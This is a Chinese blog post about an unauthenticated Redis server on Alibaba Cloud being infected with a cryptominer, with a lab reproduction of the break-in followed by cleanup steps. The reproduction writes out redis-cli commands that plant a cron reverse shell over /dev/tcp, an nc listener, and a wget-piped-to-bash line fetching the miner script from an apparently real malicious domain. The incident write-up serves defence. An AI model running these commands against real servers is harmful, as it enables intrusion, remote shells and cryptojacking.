什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!

Posted 运维少年

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!相关的知识,希望对你有一定的参考价值。

    昨天晚上在阿里云服务器上安装了redis服务,因为是测试环境没有给redis设置密码,其实也有侥幸心里,认为redis就算被其它设备连接也无所谓,因为没有数据在上面,谁知道问题这么大...


    昨天晚上收到阿里云短信,说服务器被有危险指令在执行,我以为是其它的小伙伴在搞什么东西,就没理,结果早上看了以下主机cpu使用率100%,赶紧打开了阿里云控制台查看昨天的信息。

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_redis

    查看安全告警:

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_redis_02


    看到一串复杂的域名就知道,完了,怕不是被当成矿机了.....


0x01 入侵复现

    这里我复现一下攻击者是如何打入我的服务器的,这里的方法不一定就是攻击者使用的,因为他把我的日志删了,我也不知道它怎么操作的。。。

    环境也特别简单,如下:

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_bash_03    

    攻击设备进行redis连接:

redis-cli -h 192.168.122.182

    攻击设备插入恶意代码(刚学redis,可能下面的注释不一定对):

// 添加一个key-val类型数据,
192.168.122.182:6379> set x "\\n* * * * * bash -i >& /dev/tcp/192.168.122.1/3667 0>&1\\n"
OK
// 将上面的数据保存到/var/spool/cron下
192.168.122.182:6379> config set dir /var/spool/cron/
OK
// 将保存的文件名设置为root
192.168.122.182:6379> config set dbfilename root
OK
// 保存
192.168.122.182:6379> save
OK

    攻击设备监听端口,等待反弹shell

nc -lv 3667

    获取到反弹的shell,因为我是用root用户启动的redis,所以。。。什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_redis_04

    执行病毒文件:

wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | bash

0x02 病毒复现

    这里没有复现到,不知道还有啥讲究的....

    但是根据上面的b.sh脚本分析和处理过程,可以按照以下方式进行修复:

    1、关闭redis服务

    2、删除可疑的ssh-key

// 病毒文件会把authorized_keys文件加锁,所以我们要先解锁
cd ~/.ssh/
chattr -ia authorized_keys*
// 编辑authorized_keys文件,删除可疑的key,最简单的就是直接吧authorized_keys文件删除掉
vi authorized_keys

    3、删除三个进程

rm -rf /var/tmp/.copydie
systemctl stop kswapd0
systemctl stop scan
systemctl stop mass
cd /etc/systemd/system
rm -f kswapd0.service
rm -f scan.service
rm -f mass.service
systemctl daemon-reload

    4、最好重启一下主机

reboot

0x02 病毒复现

    CPU使用率飙到100%

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_05

    大量的SYN_SENT连接

[root@redis-server opt]# netstat -natultp| grep SYN_SENT | wc -l
1024

       通过脚本分析,可以看到病毒脚本对服务器做了免密操作

cd ~/.ssh/ 
cat authorized_keys*

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_06

    要将这个秘钥删除掉,避免攻击者能直接登录我们的设备,但是删除的时候提示​Operation not permitted​:

[root@redis-server .ssh]# echo > authorized_keys
bash: authorized_keys: Operation not permitted

    使用​lsattr​和​chattr​查看和修改文件属性:

[root@redis-server .ssh]# lsattr authorized_keys*  
-----a---------- authorized_keys
-----a---------- authorized_keys2
[root@redis-server .ssh]# chattr -a authorized_keys*
[root@redis-server .ssh]# echo > authorized_keys
[root@redis-server .ssh]# echo > authorized_keys2

    通过脚本分析,发现病毒文件在/var/tmp/.copydie下放了一个[kswapd0]进程文件,将它删除掉

[root@redis-server ~]# rm -rf /var/tmp/.copydie/

    关闭进程,并删除进程文件

[root@redis-server ~]# systemctl stop kswapd0
[root@redis-server ~]# rm -f /etc/systemd/system/kswapd0.service
[root@redis-server ~]# systemctl daemon-reload

    此时可以看到cpu利用率已经下来一点了

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_bash_07什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_08

    再仔细看脚本,还有scan和mass服务需要删除

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_09


    删除文件并停止服务:

[root@redis-server ~]# rm -f  /usr/share/[scan] /usr/local/bin/pnscan /usr/local/bin/pnscan /usr/libexec/urlgrabber-ext-down
[root@redis-server ~]# systemctl stop scan
[root@redis-server ~]# systemctl stop mass
[root@redis-server ~]# rm -f /etc/systemd/system/scan.service /etc/systemd/system/mass.service
[root@redis-server ~]# systemctl daemon-reload

    此时可以看到cpu使用率已经恢复的差不多了

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_10

    查看链接,发现还有一个异常链接...,重启也没用

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_bash_11

    实在是没办法了,直接安排上安全组

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_bash_12


0x03 我怂了

    虽然是测试环境,但我还是怂了,立马安排上阿里云的安全插件。。。

什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!_腾讯云_13

    很有一件很狗血的事,我的阿里云和腾讯云做了免密登录,结果腾讯云的主机也中招了,但是腾讯云没有检测到,不知道是安全检测有问题还是我之前登录过,所以腾讯云认为这是常规操作,搞不懂....

------

结束



以上是关于什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!的主要内容,如果未能解决你的问题,请参考以下文章

阿里云网站被植入Webshell的解决方案

阿里云服务器被植入恶意插件解决过程

在阿里云上面开了个我的世界服务器,如何开放端口?

服务器由于redis未授权漏洞被攻击

阿里云发布的数加是什么鬼

Redis安装(单机及各类集群,阿里云)